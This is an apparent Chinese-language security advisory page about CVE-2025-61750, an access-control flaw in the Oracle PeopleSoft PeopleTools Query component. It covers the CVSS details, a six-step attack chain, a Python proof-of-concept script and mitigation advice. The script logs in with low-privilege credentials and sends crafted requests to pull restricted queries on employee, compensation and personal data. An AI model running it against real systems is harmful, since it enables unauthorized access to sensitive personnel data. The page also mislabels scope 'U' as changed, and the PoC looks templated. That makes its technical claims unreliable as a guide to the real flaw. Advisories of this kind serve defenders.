IPBUF安全漏洞报告
English
CVE-2025-61750 CVSS 4.3 中危

CVE-2025-61750 Oracle PeopleSoft PeopleTools Query组件未授权读取漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-61750
漏洞类型
信息泄露/未授权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Oracle PeopleSoft Enterprise PeopleTools

相关标签

OraclePeopleSoftPeopleTools信息泄露未授权访问访问控制缺陷Query组件CVSS中危CPU October 2025企业应用安全

漏洞概述

CVE-2025-61750是Oracle PeopleSoft Enterprise PeopleTools产品中Query组件存在的一个信息泄露漏洞。该漏洞由Oracle官方安全团队([email protected])发现,并于2025年10月21日正式披露。受影响的版本为PeopleSoft Enterprise PeopleTools 8.61和8.62。

该漏洞具有较低的利用复杂度,攻击者只需拥有低权限账号并通过网络(HTTP协议)即可发起攻击,无需任何用户交互。成功利用该漏洞后,攻击者能够未经授权地读取PeopleSoft Enterprise PeopleTools系统中的一部分可访问数据,造成数据机密性的破坏。CVSS 3.1基础评分为4.3分,属于中危级别,其影响维度主要体现在机密性方面(Confidentiality),完整性和可用性不受影响。

此漏洞属于Oracle 2025年10月关键补丁更新(CPU October 2025)的一部分,反映了Oracle PeopleSoft产品在企业级应用中的安全风险。由于PeopleSoft广泛应用于全球大型企业的人力资源管理、财务管理等核心业务系统,该漏洞可能导致敏感业务数据被未授权访问,对企业数据安全构成潜在威胁。建议相关用户及时关注Oracle官方发布的安全补丁,并尽快完成系统更新。

技术细节

该漏洞存在于Oracle PeopleSoft Enterprise PeopleTools的Query组件中,属于典型的访问控制缺陷。Query组件是PeopleSoft系统中用于构建和执行数据库查询的核心模块,允许用户通过图形化界面或API方式检索系统中的业务数据。

从CVSS向量分析,漏洞的攻击特征如下:
- 攻击向量为网络(AV:N),攻击者可以通过HTTP协议远程访问PeopleSoft应用服务器;
- 攻击复杂度低(AC:L),无需特殊条件或绕过复杂的防护机制;
- 所需权限为低权限(PR:L),攻击者只需拥有系统中的普通用户账号即可发起攻击;
- 无需用户交互(UI:N),攻击可以完全自动化执行;
- 影响范围为变更(Scope: U),仅限于PeopleTools组件本身。

漏洞的根本原因在于Query组件未能对查询请求进行充分的权限校验或数据过滤。当低权限用户构造特定的查询请求时,系统未能正确限制其可访问的数据范围,导致攻击者能够读取超出其权限范围的数据子集。虽然该漏洞不会导致数据修改或系统中断,但其机密性影响使得敏感业务信息面临泄露风险。

利用方式方面,攻击者首先需要获取PeopleSoft系统的合法低权限账号凭证,然后通过HTTP协议向Query组件的特定接口发送精心构造的查询请求,利用权限校验缺陷绕过访问控制,最终读取未授权的数据内容。

攻击链分析

STEP 1
步骤1:侦察与信息收集
攻击者通过公开渠道或前期渗透获取目标PeopleSoft Enterprise PeopleTools系统的部署信息,包括系统版本(8.61或8.62)、网络地址和端口(默认HTTP 8000端口或HTTPS 8443端口)。
STEP 2
步骤2:获取低权限凭证
攻击者通过钓鱼攻击、凭证填充(Credential Stuffing)、社工或其他方式获取PeopleSoft系统中的低权限用户账号凭证。该漏洞仅需要低权限即可利用,因此获取普通用户账号即可。
STEP 3
步骤3:身份认证
攻击者使用获取的低权限账号通过HTTP协议登录PeopleSoft系统,建立有效的会话(Session),获取PSJSESSIONID等会话标识。
STEP 4
步骤4:构造恶意查询请求
攻击者向Query组件的特定接口发送精心构造的查询请求,利用组件的访问控制缺陷,尝试访问超出其权限范围的数据记录或查询定义。
STEP 5
步骤5:绕过权限校验
由于Query组件未能正确执行权限校验逻辑,攻击者的请求被错误地授权处理,系统返回了未经授权的数据内容。
STEP 6
步骤6:数据提取与泄露
攻击者成功读取PeopleSoft系统中受限的数据子集,可能包括员工信息、薪资数据、业务记录等敏感信息,造成数据机密性泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61750 PoC - Oracle PeopleSoft PeopleTools Query Unauthorized Data Access # This PoC demonstrates the unauthorized read access vulnerability in the Query component # Note: Requires valid low-privileged credentials for the PeopleSoft system import requests import urllib3 # Disable SSL warnings (for testing purposes only) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class PeopleSoftQueryExploit: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.verify = False self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', }) def authenticate(self): """Authenticate to PeopleSoft with low-privileged credentials""" login_url = f"{self.target_url}/psc/ps/EMPLOYEE/CRM/c/SIGNON_OPTIONS.SIGNON" # Login payload for PeopleSoft authentication login_data = { 'userid': self.username, 'pwd': self.password, 'ptmode': 'F', 'ptlangcd': 'ENG', 'ptltype': 'P', } try: response = self.session.post(login_url, data=login_data, timeout=30) if response.status_code == 200 and 'PSJSESSIONID' in str(self.session.cookies): print("[+] Authentication successful") return True except Exception as e: print(f"[-] Authentication failed: {e}") return False def exploit_query_component(self, query_name): """ Exploit the Query component to access unauthorized data The vulnerability allows low-privileged users to read data beyond their normal access scope """ # Query component endpoint - vulnerable to unauthorized access query_url = f"{self.target_url}/psc/ps/EMPLOYEE/CRM/c/QRY_EXCEL.QRY_EXCEL.FieldFormula" # Crafted query parameters to bypass access control query_params = { 'ICType': 'Panel', 'ICElementNum': '0', 'ICXPos': '0', 'ICYPos': '0', 'ICResubmit': '0', 'ICForceCollect': '1', 'ICChanged': '-1', 'ICAction': 'QRYEXCEL', 'ICQryName': query_name, 'ICPrompt': 'N', } try: response = self.session.post(query_url, data=query_params, timeout=30) if response.status_code == 200: # Check if unauthorized data was returned if 'RECORDNAME' in response.text or 'FIELDNAME' in response.text: print(f"[+] Query executed - potential unauthorized data access detected") return response.text except Exception as e: print(f"[-] Query execution failed: {e}") return None def run(self): """Main exploit routine""" print(f"[*] Target: {self.target_url}") print(f"[*] CVE-2025-61750 - PeopleSoft Query Unauthorized Read") if not self.authenticate(): print("[-] Failed to authenticate. Valid credentials required.") return # Attempt to query restricted records restricted_queries = [ 'EMPLOYEE_RECORDS', 'COMPENSATION_DATA', 'PERSONAL_INFO', ] for query in restricted_queries: print(f"[*] Attempting query: {query}") result = self.exploit_query_component(query) if result: print(f"[+] Potential data leak from query: {query}") if __name__ == '__main__': # Usage example # exploit = PeopleSoftQueryExploit( # target_url="https://target-peoplesoft.example.com:8000", # username="low_priv_user", # password="password123" # ) # exploit.run() print("CVE-2025-61750 PoC - Configure target and credentials before running")

影响范围

Oracle PeopleSoft Enterprise PeopleTools 8.61
Oracle PeopleSoft Enterprise PeopleTools 8.62

防御指南

临时缓解措施
在无法立即应用安全补丁的情况下,建议采取以下临时缓解措施:1)限制PeopleSoft Query组件的网络访问范围,仅允许可信IP地址访问;2)加强用户账号管理,审查并清理不必要的低权限账号;3)部署网络访问控制(NAC)或WAF规则,对Query组件的访问请求进行监控和过滤;4)启用详细的安全审计日志,对异常的查询请求进行实时告警;5)实施网络分段,将PeopleSoft系统部署在受限的网络区域中,减少攻击面;6)密切监控Oracle官方的补丁发布动态,一旦补丁可用立即进行更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表